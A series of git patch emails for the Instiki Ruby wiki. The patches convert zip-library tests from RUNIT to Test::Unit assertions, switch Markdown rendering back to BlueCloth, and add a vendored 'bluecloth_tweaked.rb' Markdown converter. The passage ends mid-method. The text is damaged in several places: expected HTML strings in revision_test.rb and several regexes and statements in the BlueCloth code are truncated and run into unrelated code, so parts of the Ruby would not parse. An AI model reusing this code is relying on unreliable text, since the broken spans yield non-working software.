ZipFile.new(TEST_ZIP.zip_name) nonEntry = "hotdog-diddelidoo" assert(! zf.entries.include?(nonEntry)) @@ -1547,7 +1411,8 @@ class ZipFileExtractTest < CommonZipFileFixture end -class ZipFileExtractDirectoryTest < CommonZipFileFixture +class ZipFileExtractDirectoryTest < Test::Unit::TestCase + include CommonZipFileFixture TEST_OUT_NAME = "emptyOutDir" def open_zip(&aProc) @@ -1582,7 +1447,7 @@ class ZipFileExtractDirectoryTest < CommonZipFileFixture def test_extractDirectoryExistsAsFile File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - assert_exception(ZipDestinationFileExistsError) { extract_test_dir } + assert_raise(ZipDestinationFileExistsError) { extract_test_dir } end def test_extractDirectoryExistsAsFileOverwrite @@ -1591,7 +1456,7 @@ class ZipFileExtractDirectoryTest < CommonZipFileFixture extract_test_dir { |entry, destPath| gotCalled = true - assert_equals(TEST_OUT_NAME, destPath) + assert_equal(TEST_OUT_NAME, destPath) assert(entry.is_directory) true } @@ -1600,7 +1465,7 @@ class ZipFileExtractDirectoryTest < CommonZipFileFixture end end -class ZipStreamableFileTest < RUNIT::TestCase +class ZipStreamableFileTest < Test::Unit::TestCase def test_equality zipEntry1 = ZipEntry.new("zf.zip", "entryname1", "comment") zipEntry2 = ZipEntry.new("zf.zip", "entryname2", "comment") @@ -1610,8 +1475,8 @@ class ZipStreamableFileTest < RUNIT::TestCase zipStreamableFile3 = ZipStreamableFile.new(zipEntry1, "anotherPath") zipStreamableFile4 = ZipStreamableFile.new(zipEntry2, "path") - assert_equals(zipStreamableFile1, zipStreamableFile1) - assert_equals(zipStreamableFile1, zipStreamableFile2) + assert_equal(zipStreamableFile1, zipStreamableFile1) + assert_equal(zipStreamableFile1, zipStreamableFile2) assert(zipStreamableFile1 != zipStreamableFile3) assert(zipStreamableFile1 != zipStreamableFile4) assert(zipStreamableFile1 != zipEntry1) @@ -1619,15 +1484,7 @@ class ZipStreamableFileTest < RUNIT::TestCase end end -END { - TestFiles::create_test_files(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) - TestZipFile::create_test_zips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) - exit if ARGV.index("recreateonly") != nil -} - -class ZipExtraFieldTest < RUNIT::TestCase +class ZipExtraFieldTest < Test::Unit::TestCase def test_new extra_pure = ZipExtraField.new("") extra_withstr = ZipExtraField.new("foo") @@ -1637,11 +1494,11 @@ class ZipExtraFieldTest < RUNIT::TestCase def test_unknownfield extra = ZipExtraField.new("foo") - assert_equals(extra["Unknown"], "foo") + assert_equal(extra["Unknown"], "foo") extra.merge("a") - assert_equals(extra["Unknown"], "fooa") + assert_equal(extra["Unknown"], "fooa") extra.merge("barbaz") - assert_equals(extra.to_s, "fooabarbaz") + assert_equal(extra.to_s, "fooabarbaz") end @@ -1652,17 +1509,17 @@ class ZipExtraFieldTest < RUNIT::TestCase assert(! extra1.member?("UniversalTime")) assert(extra2.member?("UniversalTime")) extra1.merge(str) - assert_equals(extra1["UniversalTime"].mtime, extra2["UniversalTime"].mtime) + assert_equal(extra1["UniversalTime"].mtime, extra2["UniversalTime"].mtime) end def test_length str = "UT\x5\0\x3\250$\r@Ux\0\0Te\0\0testit" extra = ZipExtraField.new(str) - assert_equals(extra.local_length, extra.to_local_bin.length) - assert_equals(extra.c_dir_length, extra.to_c_dir_bin.length) + assert_equal(extra.local_length, extra.to_local_bin.length) + assert_equal(extra.c_dir_length, extra.to_c_dir_bin.length) extra.merge("foo") - assert_equals(extra.local_length, extra.to_local_bin.length) - assert_equals(extra.c_dir_length, extra.to_c_dir_bin.length) + assert_equal(extra.local_length, extra.to_local_bin.length) + assert_equal(extra.c_dir_length, extra.to_c_dir_bin.length) end @@ -1673,7 +1530,7 @@ class ZipExtraFieldTest < RUNIT::TestCase s = extra.to_s extra.merge("foo") - assert_equals(s.length + 3, extra.to_s.length) + assert_equal(s.length + 3, extra.to_s.length) end def test_equality @@ -1681,7 +1538,7 @@ class ZipExtraFieldTest < RUNIT::TestCase extra1 = ZipExtraField.new(str) extra2 = ZipExtraField.new(str) extra3 = ZipExtraField.new(str) - assert_equals(extra1, extra2) + assert_equal(extra1, extra2) extra2["UniversalTime"].mtime = Time.now assert(extra1 != extra2) @@ -1690,7 +1547,7 @@ class ZipExtraFieldTest < RUNIT::TestCase assert(extra1 != extra3) extra1.create("IUnix") - assert_equals(extra1, extra3) + assert_equal(extra1, extra3) end end From 6f36e532903f22d79a9a18d1cf79a94527a5ebd7 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 10 Apr 2005 17:10:11 +0000 Subject: [PATCH 235/529] BlueCloth is back with vengeance --- CHANGELOG | 4 +--- app/models/chunks/engines.rb | 2 +- config/environment.rb | 1 + instiki.gemspec | 1 + test/unit/revision_test.rb | 14 +++++++------- 5 files changed, 11 insertions(+), 11 deletions(-) diff --git a/CHANGELOG b/CHANGELOG index 1b02e38a..2b5c962d 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,9 +1,7 @@ - * TODO: - BlueCloth is back (RedCloth didn't do Markdown well enough to replace it). - * SVN trunk: Handling of line breaks in Textile is as in 0.9 (inserts
          tag). Upgraded rubyzip to version 0.5.8 + BlueCloth is back (RedCloth didn't do pure Markdown well enough to replace it yet) * 0.10.0: Ported to ActionPack RedCloth 3.0.3 diff --git a/app/models/chunks/engines.rb b/app/models/chunks/engines.rb index 6378f843..10ee6069 100644 --- a/app/models/chunks/engines.rb +++ b/app/models/chunks/engines.rb @@ -33,7 +33,7 @@ module Engines class Markdown < AbstractEngine def mask - RedCloth.new(@content, @content.options[:engine_opts]).to_html(:block_textile_lists, :inline_textile_span, :markdown) + BlueCloth.new(@content, @content.options[:engine_opts]).to_html end end diff --git a/config/environment.rb b/config/environment.rb index fd396c95..7641ff38 100644 --- a/config/environment.rb +++ b/config/environment.rb @@ -38,6 +38,7 @@ unless defined? ADDITIONAL_LOAD_PATHS vendor/rails/actionwebservice/lib vendor/madeleine-0.7.1/lib vendor/RedCloth-3.0.3/lib + vendor/BlueCloth-1.0.0/lib vendor/rubyzip-0.5.8/lib ).map { |dir| "#{File.expand_path(File.join(RAILS_ROOT, dir))}" }.delete_if { |dir| not File.exist?(dir) } diff --git a/instiki.gemspec b/instiki.gemspec index 34e0e7fb..31bec873 100755 --- a/instiki.gemspec +++ b/instiki.gemspec @@ -26,6 +26,7 @@ spec = Gem::Specification.new do |s| s.add_dependency('madeleine', '= 0.7.1') s.add_dependency('RedCloth', '= 3.0.3') + s.add_dependency('BlueCloth', '= 1.0.0') s.add_dependency('rubyzip', '= 0.5.8') s.add_dependency('rails', '= 0.11.1') s.requirements << 'none' diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb index f8cd3cad..121ca340 100755 --- a/test/unit/revision_test.rb +++ b/test/unit/revision_test.rb @@ -54,7 +54,7 @@ class RevisionTest < Test::Unit::TestCase @web.markup = :markdown assert_markup_parsed_as( - %{

          My Headline

          \n\n\n\t

          that } + + %{

          My Headline

          \n\n

          that } + %{Smart Engine GUI?

          }, "My Headline\n===========\n\nthat SmartEngineGUI") @@ -68,8 +68,8 @@ class RevisionTest < Test::Unit::TestCase ].join("\n") assert_markup_parsed_as( - %{

          This is a code block:

          \n\n\n\t
          def a_method(arg)\n} +
          -	    %{return ThatWay
          \n\n\n\t

          Nice!

          }, + %{

          This is a code block:

          \n\n
          def a_method(arg)\n} +
          +	    %{return ThatWay\n
          \n\n

          Nice!

          }, code_block) textile_and_markdown = [ @@ -85,10 +85,10 @@ class RevisionTest < Test::Unit::TestCase ].join("\n") assert_markup_parsed_as( - "

          Markdown heading

          \n\n\n\t" + - "

          h2. Textile heading

          \n\n\n\t" + - "

          some text with styles

          \n\n\n\t" + - "
            \n\t
          • list 1
          • \n\t\t
          • list 2
          • \n\t
          ", + "

          Markdown heading

          \n\n" + + "

          h2. Textile heading

          \n\n" + + "

          some text with -styles-

          \n\n" + + "
            \n
          • list 1
          • \n
          • list 2
          • \n
          ", textile_and_markdown) end From a251b658f13908206441ba4752bffcc3f20a723c Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 10 Apr 2005 17:48:50 +0000 Subject: [PATCH 236/529] [BUILD BROKEN] BlueCloth the original distribution has some bugs. Digged out a patched-up version from Instiki 0.9 --- app/models/chunks/engines.rb | 9 +- config/environment.rb | 1 - instiki.gemspec | 1 - lib/bluecloth_tweaked.rb | 1127 ++++++++++++++++++++++++++++++++++ test/unit/revision_test.rb | 15 + 5 files changed, 1149 insertions(+), 4 deletions(-) create mode 100644 lib/bluecloth_tweaked.rb diff --git a/app/models/chunks/engines.rb b/app/models/chunks/engines.rb index 10ee6069..c9bacf96 100644 --- a/app/models/chunks/engines.rb +++ b/app/models/chunks/engines.rb @@ -1,6 +1,7 @@ $: << File.dirname(__FILE__) + "../../lib" require 'redcloth' +require 'bluecloth_tweaked' require 'rdocsupport' require 'chunks/chunk' @@ -27,7 +28,10 @@ module Engines class Textile < AbstractEngine def mask - RedCloth.new(@content, [:hard_breaks] + @content.options[:engine_opts]).to_html(:textile) + redcloth = RedCloth.new(@content, [:hard_breaks] + @content.options[:engine_opts]) + redcloth.filter_html = false + redcloth.no_span_caps = false + redcloth.to_html(:textile) end end @@ -39,7 +43,8 @@ module Engines class Mixed < AbstractEngine def mask - RedCloth.new(@content, [:hard_breaks] + @content.options[:engine_opts]).to_html + RedCloth.new(@content, [:hard_breaks] + @content.options[:engine_opts]).to_html( + :textile, :markdown) end end diff --git a/config/environment.rb b/config/environment.rb index 7641ff38..fd396c95 100644 --- a/config/environment.rb +++ b/config/environment.rb @@ -38,7 +38,6 @@ unless defined? ADDITIONAL_LOAD_PATHS vendor/rails/actionwebservice/lib vendor/madeleine-0.7.1/lib vendor/RedCloth-3.0.3/lib - vendor/BlueCloth-1.0.0/lib vendor/rubyzip-0.5.8/lib ).map { |dir| "#{File.expand_path(File.join(RAILS_ROOT, dir))}" }.delete_if { |dir| not File.exist?(dir) } diff --git a/instiki.gemspec b/instiki.gemspec index 31bec873..34e0e7fb 100755 --- a/instiki.gemspec +++ b/instiki.gemspec @@ -26,7 +26,6 @@ spec = Gem::Specification.new do |s| s.add_dependency('madeleine', '= 0.7.1') s.add_dependency('RedCloth', '= 3.0.3') - s.add_dependency('BlueCloth', '= 1.0.0') s.add_dependency('rubyzip', '= 0.5.8') s.add_dependency('rails', '= 0.11.1') s.requirements << 'none' diff --git a/lib/bluecloth_tweaked.rb b/lib/bluecloth_tweaked.rb new file mode 100644 index 00000000..468b4fea --- /dev/null +++ b/lib/bluecloth_tweaked.rb @@ -0,0 +1,1127 @@ +#!/usr/bin/ruby +# +# Bluecloth is a Ruby implementation of Markdown, a text-to-HTML conversion +# tool. +# +# == Synopsis +# +# doc = BlueCloth::new " +# ## Test document ## +# +# Just a simple test. +# " +# +# puts doc.to_html +# +# == Authors +# +# * Michael Granger +# +# == Contributors +# +# * Martin Chase - Peer review, helpful suggestions +# * Florian Gross - Filter options, suggestions +# +# == Copyright +# +# Original version: +# Copyright (c) 2003-2004 John Gruber +# +# All rights reserved. +# +# Ruby port: +# Copyright (c) 2004 The FaerieMUD Consortium. +# +# BlueCloth is free software; you can redistribute it and/or modify it under the +# terms of the GNU General Public License as published by the Free Software +# Foundation; either version 2 of the License, or (at your option) any later +# version. +# +# BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +# A PARTICULAR PURPOSE. See the GNU General Public License for more details. +# +# == To-do +# +# * Refactor some of the larger uglier methods that have to do their own +# brute-force scanning because of lack of Perl features in Ruby's Regexp +# class. Alternately, could add a dependency on 'pcre' and use most Perl +# regexps. +# +# * Put the StringScanner in the render state for thread-safety. +# +# == Version +# +# $Id: bluecloth.rb,v 1.3 2004/05/02 15:56:33 webster132 Exp $ +# + +require 'digest/md5' +require 'logger' +require 'strscan' + + +### BlueCloth is a Ruby implementation of Markdown, a text-to-HTML conversion +### tool. +class BlueCloth < String + + ### Exception class for formatting errors. + class FormatError < RuntimeError + + ### Create a new FormatError with the given source +str+ and an optional + ### message about the +specific+ error. + def initialize( str, specific=nil ) + if specific + msg = "Bad markdown format near %p: %s" % [ str, specific ] + else + msg = "Bad markdown format near %p" % str + end + + super( msg ) + end + end + + + # Release Version + Version = '0.0.3' + + # SVN Revision + SvnRev = %q$Rev: 37 $ + + # SVN Id tag + SvnId = %q$Id: bluecloth.rb,v 1.3 2004/05/02 15:56:33 webster132 Exp $ + + # SVN URL + SvnUrl = %q$URL: svn+ssh://cvs.faeriemud.org/var/svn/BlueCloth/trunk/lib/bluecloth.rb $ + + + # Rendering state struct. Keeps track of URLs, titles, and HTML blocks + # midway through a render. I prefer this to the globals of the Perl version + # because globals make me break out in hives. Or something. + RenderState = Struct::new( "RenderState", :urls, :titles, :html_blocks, :log ) + + # Tab width for #detab! if none is specified + TabWidth = 4 + + # The tag-closing string -- set to '>' for HTML + EmptyElementSuffix = "/>"; + + # Table of MD5 sums for escaped characters + EscapeTable = {} + '\\`*_{}[]()#.!'.split(//).each {|char| + hash = Digest::MD5::hexdigest( char ) + + EscapeTable[ char ] = { + :md5 => hash, + :md5re => Regexp::new( hash ), + :re => Regexp::new( '\\\\' + Regexp::escape(char) ), + } + } + + + ################################################################# + ### I N S T A N C E M E T H O D S + ################################################################# + + ### Create a new BlueCloth string. + def initialize( content="", *restrictions ) + @log = Logger::new( $deferr ) + @log.level = $DEBUG ? + Logger::DEBUG : + ($VERBOSE ? Logger::INFO : Logger::WARN) + @scanner = nil + + # Add any restrictions, and set the line-folding attribute to reflect + # what happens by default. + restrictions.flatten.each {|r| __send__("#{r}=", true) } + @fold_lines = true + + super( content ) + + @log.debug "String is: %p" % self + end + + + ###### + public + ###### + + # Filters for controlling what gets output for untrusted input. (But really, + # you're filtering bad stuff out of untrusted input at submission-time via + # untainting, aren't you?) + attr_accessor :filter_html, :filter_styles + + # RedCloth-compatibility accessor. Line-folding is part of Markdown syntax, + # so this isn't used by anything. + attr_accessor :fold_lines + + + ### Render Markdown-formatted text in this string object as HTML and return + ### it. The parameter is for compatibility with RedCloth, and is currently + ### unused, though that may change in the future. + def to_html( lite=false ) + + # Create a StringScanner we can reuse for various lexing tasks + @scanner = StringScanner::new( '' ) + + # Make a structure to carry around stuff that gets placeholdered out of + # the source. + rs = RenderState::new( {}, {}, {} ) + + # Make a copy of the string with normalized line endings, tabs turned to + # spaces, and a couple of guaranteed newlines at the end + text = self.gsub( /\r\n?/, "\n" ).detab + text += "\n\n" + @log.debug "Normalized line-endings: %p" % text + + # Filter HTML if we're asked to do so + if self.filter_html + text.gsub!( "<", "<" ) + text.gsub!( ">", ">" ) + @log.debug "Filtered HTML: %p" % text + end + + # Simplify blank lines + text.gsub!( /^ +$/, '' ) + @log.debug "Tabs -> spaces/blank lines stripped: %p" % text + + # Replace HTML blocks with placeholders + text = hide_html_blocks( text, rs ) + @log.debug "Hid HTML blocks: %p" % text + @log.debug "Render state: %p" % rs + + # Strip link definitions, store in render state + text = strip_link_definitions( text, rs ) + @log.debug "Stripped link definitions: %p" % text + @log.debug "Render state: %p" % rs + + # Escape meta-characters + text = escape_special_chars( text ) + @log.debug "Escaped special characters: %p" % text + + # Transform block-level constructs + text = apply_block_transforms( text, rs ) + @log.debug "After block-level transforms: %p" % text + + # Now swap back in all the escaped characters + text = unescape_special_chars( text ) + @log.debug "After unescaping special characters: %p" % text + + return text + end + + + ### Convert tabs in +str+ to spaces. + def detab( tabwidth=TabWidth ) + copy = self.dup + copy.detab!( tabwidth ) + return copy + end + + + ### Convert tabs to spaces in place and return self if any were converted. + def detab!( tabwidth=TabWidth ) + newstr = self.split( /\n/ ).collect {|line| + line.gsub( /(.*?)\t/ ) do + $1 + ' ' * (tabwidth - $1.length % tabwidth) + end + }.join("\n") + self.replace( newstr ) + end + + + ####### + #private + ####### + + ### Do block-level transforms on a copy of +str+ using the specified render + ### state +rs+ and return the results. + def apply_block_transforms( str, rs ) + # Port: This was called '_runBlockGamut' in the original + + @log.debug "Applying block transforms to:\n %p" % str + text = transform_headers( str, rs ) + text = transform_hrules( text, rs ) + text = transform_lists( text, rs ) + text = transform_code_blocks( text, rs ) + text = transform_block_quotes( text, rs ) + text = transform_auto_links( text, rs ) + text = hide_html_blocks( text, rs ) + + text = form_paragraphs( text, rs ) + + @log.debug "Done with block transforms:\n %p" % text + return text + end + + + ### Apply Markdown span transforms to a copy of the specified +str+ with the + ### given render state +rs+ and return it. + def apply_span_transforms( str, rs ) + @log.debug "Applying span transforms to:\n %p" % str + + str = transform_code_spans( str, rs ) + str = encode_html( str ) + str = transform_images( str, rs ) + str = transform_anchors( str, rs ) + str = transform_italic_and_bold( str, rs ) + + # Hard breaks + str.gsub!( / {2,}\n/, " + #
          + # tags for inner block must be indented. + #
          + #
          + StrictBlockRegex = %r{ + ^ # Start of line + <(#{BlockTagPattern}) # Start tag: \2 + \b # word break + (.*\n)*? # Any number of lines, minimal match + # Matching end tag + [ ]* # trailing spaces + (?=\n+|\Z) # End of line or document + }ix + + # More-liberal block-matching + LooseBlockRegex = %r{ + ^ # Start of line + <(#{BlockTagPattern}) # start tag: \2 + \b # word break + (.*\n)*? # Any number of lines, minimal match + .* # Anything + Matching end tag + [ ]* # trailing spaces + (?=\n+|\Z) # End of line or document + }ix + + # Special case for
          . + HruleBlockRegex = %r{ + ( # $1 + \A\n? # Start of doc + optional \n + | # or + .*\n\n # anything + blank line + ) + ( # save in $2 + [ ]* # Any spaces +
          ])*? # Attributes + /?> # Tag close + (?=\n\n|\Z) # followed by a blank line or end of document + ) + }ix + + ### Replace all blocks of HTML in +str+ that start in the left margin with + ### tokens. + def hide_html_blocks( str, rs ) + @log.debug "Hiding HTML blocks in %p" % str + + # Tokenizer proc to pass to gsub + tokenize = lambda {|match| + key = Digest::MD5::hexdigest( match ) + rs.html_blocks[ key ] = match + @log.debug "Replacing %p with %p" % + [ match, key ] + "\n\n#{key}\n\n" + } + + rval = str.dup + + @log.debug "Finding blocks with the strict regex..." + rval.gsub!( StrictBlockRegex, &tokenize ) + + @log.debug "Finding blocks with the loose regex..." + rval.gsub!( LooseBlockRegex, &tokenize ) + + @log.debug "Finding hrules..." + rval.gsub!( HruleBlockRegex ) {|match| $1 + tokenize[$2] } + + return rval + end + + + # Link defs are in the form: ^[id]: url "optional title" + LinkRegex = %r{ + ^[ ]*\[(.+)\]: # id = $1 + [ ]* + \n? # maybe *one* newline + [ ]* + (\S+) # url = $2 + [ ]* + \n? # maybe one newline + [ ]* + (?: + # Titles are delimited by "quotes" or (parens). + ["(] + (.+?) # title = $3 + [")] # Matching ) or " + [ ]* + )? # title is optional + (?:\n+|\Z) + }x + + ### Strip link definitions from +str+, storing them in the given RenderState + ### +rs+. + def strip_link_definitions( str, rs ) + str.gsub( LinkRegex ) {|match| + id, url, title = $1, $2, $3 + + rs.urls[ id.downcase ] = encode_html( url ) + unless title.nil? + rs.titles[ id.downcase ] = title.gsub( /"/, """ ) + end + "" + } + end + + + ### Escape special characters in the given +str+ + def escape_special_chars( str ) + @log.debug " Escaping special characters" + text = '' + + tokenize_html( str ) {|token, str| + @log.debug " Adding %p token %p" % [ token, str ] + case token + + # Within tags, encode * and _ + when :tag + text += str. + gsub( /\*/, EscapeTable['*'][:md5] ). + gsub( /_/, EscapeTable['_'][:md5] ) + + # Encode backslashed stuff in regular text + when :text + text += encode_backslash_escapes( str ) + else + raise TypeError, "Unknown token type %p" % token + end + } + + @log.debug " Text with escapes is now: %p" % text + return text + end + + + ### Swap escaped special characters in a copy of the given +str+ and return + ### it. + def unescape_special_chars( str ) + EscapeTable.each {|char, hash| + @log.debug "Unescaping escaped %p with %p" % + [ char, hash[:md5re] ] + str.gsub!( hash[:md5re], char ) + } + + return str + end + + + ### Return a copy of the given +str+ with any backslashed special character + ### in it replaced with MD5 placeholders. + def encode_backslash_escapes( str ) + # Make a copy with any double-escaped backslashes encoded + text = str.gsub( /\\\\/, EscapeTable['\\'][:md5] ) + + EscapeTable.each_pair {|char, esc| + next if char == '\\' + text.gsub!( esc[:re], esc[:md5] ) + } + + return text + end + + + ### Transform any Markdown-style horizontal rules in a copy of the specified + ### +str+ and return it. + def transform_hrules( str, rs ) + @log.debug " Transforming horizontal rules" + str.gsub( /^( ?[\-\*] ?){3,}$/, "\n\n%s\n} % [ + list_type, + transform_list_items( list, rs ), + list_type, + ] + } + end + + + # Pattern for transforming list items + ListItemRegexp = %r{ + (\n)? # leading line = $1 + (^[ ]*) # leading whitespace = $2 + (\*|\d+\.) [ ]+ # list marker = $3 + ((?m:.+?) # list item text = $4 + (\n{1,2})) + (?= \n* (\z | \2 (\*|\d+\.) [ ]+)) + }x + + ### Transform list items in a copy of the given +str+ and return it. + def transform_list_items( str, rs ) + @log.debug " Transforming list items" + + # Trim trailing blank lines + str = str.sub( /\n{2,}\z/, "\n" ) + + str.gsub( ListItemRegexp ) {|line| + @log.debug " Found item line %p" % line + leading_line, item = $1, $4 + + if leading_line or /\n{2,}/.match( item ) + @log.debug " Found leading line or item has a blank" + item = apply_block_transforms( outdent(item), rs ) + else + # Recursion for sub-lists + @log.debug " Recursing for sublist" + item = transform_lists( outdent(item), rs ).chomp + item = apply_span_transforms( item, rs ) + end + + %{
        6. %s
        7. \n} % item + } + end + + + # Pattern for matching codeblocks + CodeBlockRegexp = %r{ + (.?) # $1 = preceding character + :\n+ # colon + NL delimiter + ( # $2 = the code block + (?: + (?:[ ]{#{TabWidth}} | \t) # a tab or tab-width of spaces + .*\n+ + )+ + ) + ((?=^[ ]{0,#{TabWidth}}\S)|\Z) # Lookahead for non-space at + # line-start, or end of doc + }x + + ### Transform Markdown-style codeblocks in a copy of the specified +str+ and + ### return it. + def transform_code_blocks( str, rs ) + @log.debug " Transforming code blocks" + + str.gsub( CodeBlockRegexp ) {|block| + prevchar, codeblock = $1, $2 + + @log.debug " prevchar = %p" % prevchar + + # Generated the codeblock + %{%s\n\n
          %s\n
          \n\n} % [ + (prevchar.empty? || /\s/ =~ prevchar) ? "" : "#{prevchar}:", + encode_code( outdent(codeblock), rs ).rstrip, + ] + } + end + + + # Pattern for matching Markdown blockquote blocks + BlockQuoteRegexp = %r{ + (?: + ^[ ]*>[ ]? # '>' at the start of a line + .+\n # rest of the first line + (?:.+\n)* # subsequent consecutive lines + \n* # blanks + )+ + }x + + ### Transform Markdown-style blockquotes in a copy of the specified +str+ + ### and return it. + def transform_block_quotes( str, rs ) + @log.debug " Transforming block quotes" + + str.gsub( BlockQuoteRegexp ) {|quote| + @log.debug "Making blockquote from %p" % quote + quote.gsub!( /^[ ]*>[ ]?/, '' ) + %{
          \n%s\n
          \n\n} % + apply_block_transforms( quote, rs ). + gsub( /^/, " " * TabWidth ) + } + end + + + AutoAnchorURLRegexp = /<((https?|ftp):[^'">\s]+)>/ + AutoAnchorEmailRegexp = %r{ + < + ( + [-.\w]+ + \@ + [-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+ + ) + > + }x + + ### Transform URLs in a copy of the specified +str+ into links and return + ### it. + def transform_auto_links( str, rs ) + @log.debug " Transforming auto-links" + str.gsub( AutoAnchorURLRegexp, %{\\1}). + gsub( AutoAnchorEmailRegexp ) {|addr| + encode_email_address( unescape_special_chars($1) ) + } + end + + + # Encoder functions to turn characters of an email address into encoded + # entities. + Encoders = [ + lambda {|char| "&#%03d;" % char}, + lambda {|char| "&#x%X;" % char}, + lambda {|char| char.chr }, + ] + + ### Transform a copy of the given email +addr+ into an escaped version safer + ### for posting publicly. + def encode_email_address( addr ) + + rval = '' + ("mailto:" + addr).each_byte {|b| + case b + when ?: + rval += ":" + when ?@ + rval += Encoders[ rand(2) ][ b ] + else + r = rand(100) + rval += ( + r > 90 ? Encoders[2][ b ] : + r < 45 ? Encoders[1][ b ] : + Encoders[0][ b ] + ) + end + } + + return %{%s} % [ rval, rval.sub(/.+?:/, '') ] + end + + + # Regex for matching Setext-style headers + SetextHeaderRegexp = %r{ + (.+) # The title text ($1) + \n + ([\-=])+ # Match a line of = or -. Save only one in $2. + [ ]*\n+ + }x + + # Regexp for matching ATX-style headers + AtxHeaderRegexp = %r{ + ^(\#{1,6}) # $1 = string of #'s + [ ]* + (.+?) # $2 = Header text + [ ]* + \#* # optional closing #'s (not counted) + \n+ + }x + + ### Apply Markdown header transforms to a copy of the given +str+ amd render + ### state +rs+ and return the result. + def transform_headers( str, rs ) + @log.debug " Transforming headers" + + # Setext-style headers: + # Header 1 + # ======== + # + # Header 2 + # -------- + # + str. + gsub( SetextHeaderRegexp ) {|m| + @log.debug "Found setext-style header" + title, hdrchar = $1, $2 + title = apply_span_transforms( title, rs ) + + case hdrchar + when '=' + %[

          #{title}

          \n\n] + when '-' + %[

          #{title}

          \n\n] + else + title + end + }. + + gsub( AtxHeaderRegexp ) {|m| + @log.debug "Found ATX-style header" + hdrchars, title = $1, $2 + title = apply_span_transforms( title, rs ) + + level = hdrchars.length + %{%s\n\n} % [ level, title, level ] + } + end + + + ### Wrap all remaining paragraph-looking text in a copy of +str+ inside

          + ### tags and return it. + def form_paragraphs( str, rs ) + @log.debug " Forming paragraphs" + grafs = str. + sub( /\A\n+/, '' ). + sub( /\n+\z/, '' ). + split( /\n{2,}/ ) + + rval = grafs.collect {|graf| + + # Unhashify HTML blocks if this is a placeholder + if rs.html_blocks.key?( graf ) + rs.html_blocks[ graf ] + + # Otherwise, wrap in

          tags + else + apply_span_transforms(graf, rs). + sub( /^[ ]*/, '

          ' ) + '

          ' + end + }.join( "\n\n" ) + + @log.debug " Formed paragraphs: %p" % rval + return rval + end + + + # Pattern to match the linkid part of an anchor tag for reference-style + # links. + RefLinkIdRegex = %r{ + [ ]? # Optional leading space + (?:\n[ ]*)? # Optional newline + spaces + \[ + (.*?) # Id = $1 + \] + }x + + InlineLinkRegex = %r{ + \( # Literal paren + [ ]* # Zero or more spaces + (.*?) # URI = $1 + [ ]* # Zero or more spaces + (?: # + ([\"\']) # Opening quote char = $2 + (.*?) # Title = $3 + \2 # Matching quote char + )? # Title is optional + \) + }x + + ### Apply Markdown anchor transforms to a copy of the specified +str+ with + ### the given render state +rs+ and return it. + def transform_anchors( str, rs ) + @log.debug " Transforming anchors" + @scanner.string = str.dup + text = '' + + # Scan the whole string + until @scanner.empty? + + if @scanner.scan( /\[/ ) + link = ''; linkid = '' + depth = 1 + startpos = @scanner.pos + @log.debug " Found a bracket-open at %d" % startpos + + # Scan the rest of the tag, allowing unlimited nested []s. If + # the scanner runs out of text before the opening bracket is + # closed, append the text and return (wasn't a valid anchor). + while depth.nonzero? + linktext = @scanner.scan_until( /\]|\[/ ) + + if linktext + @log.debug " Found a bracket at depth %d: %p" % + [ depth, linktext ] + link += linktext + + # Decrement depth for each closing bracket + depth += ( linktext[-1, 1] == ']' ? -1 : 1 ) + @log.debug " Depth is now #{depth}" + + # If there's no more brackets, it must not be an anchor, so + # just abort. + else + @log.debug " Missing closing brace, assuming non-link." + link += @scanner.rest + @scanner.terminate + return text + '[' + link + end + end + link.slice!( -1 ) # Trim final ']' + @log.debug " Found leading link %p" % link + + # Look for a reference-style second part + if @scanner.scan( RefLinkIdRegex ) + linkid = @scanner[1] + linkid = link.dup if linkid.empty? + linkid.downcase! + @log.debug " Found a linkid: %p" % linkid + + # If there's a matching link in the link table, build an + # anchor tag for it. + if rs.urls.key?( linkid ) + @log.debug " Found link key in the link table: %p" % + rs.urls[linkid] + url = escape_md( rs.urls[linkid] ) + + text += %{#{link}} + + # If the link referred to doesn't exist, just append the raw + # source to the result + else + @log.debug " Linkid %p not found in link table" % linkid + @log.debug " Appending original string instead: %p" % + @scanner.string[ startpos-1 .. @scanner.pos ] + text += @scanner.string[ startpos-1 .. @scanner.pos ] + end + + # ...or for an inline style second part + elsif @scanner.scan( InlineLinkRegex ) + url = @scanner[1] + title = @scanner[3] + @log.debug " Found an inline link to %p" % url + + text += %{#{link}} + + # No linkid part: just append the first part as-is. + else + @log.debug "No linkid, so no anchor. Appending literal text." + text += @scanner.string[ startpos-1 .. @scanner.pos-1 ] + end # if linkid + + # Plain text + else + @log.debug " Scanning to the next link from %p" % @scanner.rest + text += @scanner.scan( /[^\[]+/ ) + end + + end # until @scanner.empty? + + return text + end + + # Pattern to match strong emphasis in Markdown text + BoldRegexp = %r{ (\*\*|__) (?=\S) (.+?\S) \1 }x + + # Pattern to match normal emphasis in Markdown text + ItalicRegexp = %r{ (\*|_) (?=\S) (.+?\S) \1 }x + + ### Transform italic- and bold-encoded text in a copy of the specified +str+ + ### and return it. + def transform_italic_and_bold( str, rs ) + @log.debug " Transforming italic and bold" + + str. + gsub( BoldRegexp, %{\\2} ). + gsub( ItalicRegexp, %{\\2} ) + end + + + ### Transform backticked spans into spans. + def transform_code_spans( str, rs ) + @log.debug " Transforming code spans" + + # Set up the string scanner and just return the string unless there's at + # least one backtick. + @scanner.string = str.dup + unless @scanner.exist?( /`/ ) + @scanner.terminate + @log.debug "No backticks found for code span in %p" % str + return str + end + + @log.debug "Transforming code spans in %p" % str + + # Build the transformed text anew + text = '' + + # Scan to the end of the string + until @scanner.empty? + + # Scan up to an opening backtick + if pre = @scanner.scan_until( /.?(?=`)/m ) + text += pre + @log.debug "Found backtick at %d after '...%s'" % + [ @scanner.pos, text[-10, 10] ] + + # Make a pattern to find the end of the span + opener = @scanner.scan( /`+/ ) + len = opener.length + closer = Regexp::new( opener ) + @log.debug "Scanning for end of code span with %p" % closer + + # Scan until the end of the closing backtick sequence. Chop the + # backticks off the resultant string, strip leading and trailing + # whitespace, and encode any enitites contained in it. + codespan = @scanner.scan_until( closer ) or + raise 